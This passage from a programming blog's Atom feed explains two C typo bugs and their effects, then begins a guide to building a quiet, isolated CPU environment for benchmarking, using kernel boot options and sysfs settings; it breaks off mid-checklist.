&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;row_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;row_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;column_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;column_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Issue? An extra &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Impact? The nested loops process every item of a 2d matrix, scanning in the for each row, for each column classic order.&lt;/p&gt;
&lt;p&gt;For simplicity the i-th row is loaded in the outer loop with a local &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer.&lt;/p&gt;
&lt;p&gt;Unfortunately the inner loop uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so the inner loop always processes the same columns of the first row. The local variable &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is used only for knowing the column count hence the compiler does not warn use about an unused variable.&lt;/p&gt;
&lt;p&gt;This lead to resources without proper initialization and memory corruptions all because the was an extra &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="less-is-worse"&gt;Less is worse&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;one_round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;msg_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// not found&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PORT_CNT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PORT_CNT&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// not found&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;should_exit&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;one_round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// no msg, sleep&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Issue? A missing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;one_round&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function read from N ports doing a round robin starting from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Each round may be interrupted if a message is found and a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is made.&lt;/p&gt;
&lt;p&gt;If a full round is made without reading a message, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes a little nap assuming that it is not under a heavy workload.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;one_round&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is wrong. It checks for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. The former is always true returning earlier with a message probably empty.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; checks for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and if it is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it will believe that the subfunction did a full round and it didn’t find a message.&lt;/p&gt;
&lt;p&gt;Under a heavy workload on &lt;em&gt;all&lt;/em&gt; the ports, this typo was unnoticed because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was always not-&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But when a single port was with less data, even if the rest of the ports were super-busy, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; did a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; impacting negatively in the performance. Less work made the things worse!&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/04/24/Deadly-Typos-2020.html" rel="alternate" type="text/html" title="Deadly Typos 2020"/>
    <category term="pointer" label="pointer"/>
    <category term="memory" label="memory"/>
    <published>2021-04-24T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/03/07/Quiescent-Environment.html</id>
    <title>Quiescent Environment</title>
    <updated>2021-03-07T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;You are working in optimizing a piece of software to reduce the CPU cycles that it takes.&lt;/p&gt;
&lt;p&gt;To compare your improvements, it is reasonable to measure the elapsed time before and after your change.&lt;/p&gt;
&lt;p&gt;Unless you are using a simulator, it is impossible to run a program &lt;em&gt;isolated&lt;/em&gt; from the rest and your measurements will be noisy.&lt;/p&gt;
&lt;p&gt;If you want to take precise measurements you need a &lt;em&gt;quiescent&lt;/em&gt; environment as much as possible.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="an-incomplete-cheatsheet"&gt;An incomplete cheatsheet&lt;/h2&gt;
&lt;p&gt;For the impatient, let’s do a quick cheatsheet. A more detailed checklist follows after.&lt;/p&gt;
&lt;p&gt;Let’s assume that you want to make the CPUs 2 to 5 &lt;em&gt;very quiet&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Add the following kernel options:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;intel_pstate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;amd_pstate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cpufreq_disable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nosmt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nohz_full&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2-5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isolcpus&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2-5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcu_nocbs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2-5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You may add also &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;multi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to those.&lt;/p&gt;
&lt;p&gt;With the kernel booted, configure it even further:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/intel_pstate/no_turbo
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/cpufreq/boost

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;X&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;..5&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;performance&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/cpu&lt;span class="nv"&gt;$X&lt;/span&gt;/cpufreq/scaling_governor
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="an-detailed-but-still-incomplete-checklist"&gt;An detailed but still-incomplete checklist&lt;/h2&gt;
&lt;p&gt;This checklist goes for the different settings to make one ore more CPUs as much as isolated as possible from anything else so their performance is more detereminisc.&lt;/p&gt;
&lt;p&gt;Real isolation is impossible as there are a lot of things shared. Making the whole system as quiet as possible helps to reduce the noise.&lt;/p&gt;
&lt;p&gt;Isolate the machine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use a bare metal machine or VMs if not possible. Try to avoid container environments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unplug the network cable or reduce by some mean the traffic (from outside the machine)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kernel-setup-boot-options-sysfs"&gt;Kernel setup (boot options + sysfs)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hyperthreading / Symmetric Multithreading
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Docs:&lt;/em&gt; &lt;a href="https://access.redhat.com/solutions/rhel-smt"&gt;rhel-smt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Kernel options:&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nosmt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Intel Turbo Boost / Overclocking.
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Docs:&lt;/em&gt; &lt;a href="https://askubuntu.com/questions/619875/disabling-intel-turbo-boost-in-ubuntu"&gt;how-to&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Sysfs files:&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/intel_pstate/no_turbo
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/cpufreq/boost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Dynamic Voltage &amp;amp; Frequency Scaling
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Docs:&lt;/em&gt; &lt;a href="https://askubuntu.com/questions/523640/how-i-can-disable-cpu-frequency-scaling-and-set-the-system-to-performance"&gt;how-to&lt;/a&gt;, &lt;a href="https://wiki.archlinux.org/title/CPU_frequency_scaling"&gt;archlinux&lt;/a&gt;, &lt;a href="https://www.kernel.org/doc/Documentation/cpu-freq/intel-pstate.txt"&gt;kernel doc&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Kernel options:&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;intel_pstate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;amd_pstate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cpufreq_disable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Sysfs files:&lt;/em&gt;&lt;/p&gt;
